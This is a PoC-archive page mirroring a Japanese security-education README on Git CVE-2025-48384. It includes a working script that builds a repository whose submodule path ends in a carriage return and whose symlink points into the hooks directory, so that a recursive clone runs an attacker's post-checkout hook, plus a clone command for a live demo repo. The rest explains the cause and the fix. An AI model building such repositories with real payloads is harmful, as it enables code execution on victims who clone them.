POC详情: 56fc540d42d3868e04ac7b1c801ad0e931d222fd

来源
关联漏洞
标题: Git 安全漏洞 (CVE-2025-48384)
描述:Git是Git开源的一套免费、开源的分布式版本控制系统。 Git存在安全漏洞,该漏洞源于在处理配置值时尾随回车符的处理不当,可能使子模块被错误检出到由符号链接指向的钩子目录,意外执行其中的可执行脚本。
描述
CVE-2025-48384 PoC
介绍
# CVE-2025-48384 PoC

## 注意事項

本リポジトリはセキュリティ教育用に作成したものです。<br>
悪用はご遠慮ください。

本脆弱性はディレクトリ名に`\r`を含める必要があるため、<br>
Linux/Unix系が影響対象となります。

下記が影響対象のGitのバージョンです。<br>

- v2.43.x系 -> v2.43.7 未満
- v2.44.x系 -> v2.44.4 未満
- v2.45.x系 -> v2.45.4 未満
- v2.46.x系 -> v2.46.4 未満
- v2.47.x系 -> v2.47.3 未満
- v2.48.x系 -> v2.48.2 未満
- v2.49.x系 -> v2.49.1 未満
- v2.50.x系 -> v2.50.1 未満

## Remote 検証用

下記コマンドで本リポジトリをクローンした場合もRCEは成立します。<br>
※ 実行の際は、十分にご注意ください。
```
git clone --recursive https://github.com/IK-20211125/CVE-2025-48384
```

下記サブモジュールリポジトリの`post-checkout`内のコマンドが実行されます。<br>
- [IK-20211125/sub](https://github.com/IK-20211125/sub)

```bash
#!/usr/bin/env bash
touch /tmp/CVE-2025-48384
```

## Local 検証用 ShellScript

```zsh
#!/bin/zsh
git init sub
echo '#!/usr/bin/env bash
touch /tmp/CVE-2025-48384
' > sub/post-checkout
chmod +x sub/post-checkout
git -C sub add post-checkout
git -C sub commit -m hook

git init CVE-2025-48384
git -C CVE-2025-48384 -c protocol.file.allow=always submodule add "$PWD/sub" sub
git -C CVE-2025-48384 mv sub "$(printf "sub\r")"

git config unset -f CVE-2025-48384/.gitmodules submodule.sub.path
printf "\tpath = \"sub\r\"\n" >> CVE-2025-48384/.gitmodules

ln -s .git/modules/sub/hooks CVE-2025-48384/sub
git -C CVE-2025-48384 add -A
git -C CVE-2025-48384 commit -m submodule

git -c protocol.file.allow=always clone --recurse-submodules CVE-2025-48384 bad-clone
```

[こちら](https://github.com/acheong08/CVE-2025-48384/tree/main)を参考に作成しました。
2点変更しています。
1. zsh用に変更
2. 下記を削除
```shell
git config unset -f repo/.git/modules/sub/config core.worktree
printf "[core]\n\tworktree = \"../../../sub\r\"\n" >> repo/.git/modules/sub/config
```

## 技術調査

### <ins>なぜ、RCEができるのか</ins>

まず、なぜRCEが実現されるのかという点ですが、<br>
本脆弱性は、Gitのhooksという標準機能を利用しています。

hooksを簡単に説明すると、<br>
「特定のイベント (コミットなど) が発生した際に、事前に設定したスクリプトを実行できる機能」です。

本脆弱性は`.git`内の`post-checkout`というチェックアウト時に実行されるファイルを利用しています。

しかし、このファイルは基本的にローカルでしか扱えないため、GitHubのリポジトリをクローンしただけでは、<br>
攻撃者は当然関与できません。

その点をGitの`\r`の処理を利用して突破し、
ローカル上の`./.git/modules/sub/hooks/`に任意の`post-checkout`ファイルを置くことでRCEを実現しています。

---

### <ins>なぜ、post-checkoutをhooksに置けるのか</ins>

Gitの`\r`の処理を利用します。

Gitの処理に乗っ取って簡単に説明していきます。

まず、`git clone --recursive {url}`を利用して、GitHub上のリモートリポジトリからローカルへクローンします。<br>
(`--recursive`を付与することでサブモジュールも同時にクローンする。)<br>
その際に、`.gitmodules`内の`path`というパラメータのディレクトリに`url`のサブモジュールを展開します。

```
[submodule "sub"]
	url = https://github.com/IK-20211125/sub.git
	path = "sub"
```

この`path`パラメータのディレクトリ名に下記のように細工を施します。

```
    path = "sub\r"
```

また、リポジトリ内のサブモジュールディレクトリの名前も`sub\r`にしておきます。

このようにして`git clone --recursive`を行うと、<br>
`.gitmodules`内の`path`に従い、`sub\r`ディレクトリに`url`からサブモジュールを展開しようとします。<br>
(`.gitmodules`内の`path`にディレクトリがない場合、サブモジュールの展開を行わない。)

しかし、Gitはサブモジュールの<ins>最終的な</ins>展開先を`.gitmodules`の`path`の値を参照しません。<br>

最終的に参照するのは`.git/modules/sub/config`内の`worktree`というパラメータを参照します。<br>
このパラメータは`.gitmodules`の`path`の値を元に書き込まれます。

この<ins>書き込み</ins>が重要です。<br>
`path = "sub\r"`を`.git/modules/sub/config`内の`worktree`に書き込むと下記のような形になります。

```
[core]
    workdir = ../../../sub\r
```

重要なのはダブルクォートで囲われていないという点です。
```c
static ssize_t write_pair(int fd, const char *key, const char *value, [...]
{
       [...]

       /*
         * Check to see if the value needs to be surrounded with a dq pair.
         * Note that problematic characters are always backslash-quoted; this
         * check is about not losing leading or trailing SP and strings that
         * follow beginning-of-comment characters (i.e. ';' and '#') by the
         * configuration parser.
         */
        if (value[0] == ' ')
                quote = "\"";
        for (i = 0; value[i]; i++)
                if (value[i] == ';' || value[i] == '#')
                        quote = "\"";
        if (i && value[i - 1] == ' ')
                quote = "\"";

        strbuf_addf(&sb, "\t%s = %s", key + store->baselen + 1, quote);
```

特定の位置にスペースが含まれている場合、<br>
または任意の場所に`;`または`#`が含まれている場合にのみダブルクォートで囲われますが、<br>
`\r`の場合はダブルクォートで囲われません。

ダブルクォートが囲われていない場合、末尾の`\r`をGitは評価しません。

そのため、サブモジュールの展開先は、`../../../sub`となります。

サブモジュールの名前は`sub\r`のため、`sub`という名前の任意の形態のファイルを作成することは可能です。(名前が被らない)

ここにシンボリックリンクを置き、サブモジュールの展開先を`./.git/modules/sub/hooks/`に変更します。
```
sub -> .git/modules/sub/hooks
```

サブモジュール内に置いた攻撃者のスクリプトファイルである`post-checkout`が、<br>
被害者のローカルの`./.git/modules/sub/hooks/`に置くことができ、チェックアウト時に実行されるようになります。

---

### <ins>重要な点</ins>

この攻撃が成立するのはGit内で`\r`の処理が変わるということが原因です。

- `.gitmodules`をGitが参照した際はダブルクォートで囲われていたため、`\r`を評価する。
- `.git/modules/sub/config`をGitが参照した際はダブルクォートが囲われていないため、`\r`を評価しない。

---

### <ins>修正</ins>

本脆弱性が修正されたGitのバージョンでは下記のように変更されています。<br>
(`\r`が含まれていた場合、ダブルクォートで囲むように変更)

```c
	if (value[0] == ' ')
		quote = "\"";
	for (i = 0; value[i]; i++)
		if (value[i] == ';' || value[i] == '#' || value[i] == '\r')
			quote = "\"";
	if (i && value[i - 1] == ' ')
		quote = "\"";
```

https://github.com/git/git/blob/master/config.c#L2938

--- 

### <ins>類似の脆弱性</ins>

類似の脆弱性として、[CVE-2024-32002](https://nvd.nist.gov/vuln/detail/cve-2024-32002)があります。

この脆弱性は、大文字小文字を区別しないファイルシステム(Windows,MacOSなど)で、<br>
CVE-2025-48384と同様にシンボリックリンクを利用して、攻撃者のgithooksへの介入を許します。

下記記事が参考になります。<br>
https://japanese.opswat.com/blog/analyzing-and-remediating-git-vulnerability-cve-2024-32002

---

## 参考
- https://nvd.nist.gov/vuln/detail/CVE-2025-48384
- https://github.com/acheong08/CVE-2025-48384/tree/main
- https://dgl.cx/2025/07/git-clone-submodule-cve-2025-48384

---

※ 内容に解釈の誤りがある場合は、ご指摘いただけますと幸いです。
文件快照

[4.0K] /data/pocs/56fc540d42d3868e04ac7b1c801ad0e931d222fd ├── [8.2K] README.md ├── [ 22] sub -> .git/modules/sub/hooks └── [4.0K] sub\015 1 directory, 2 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。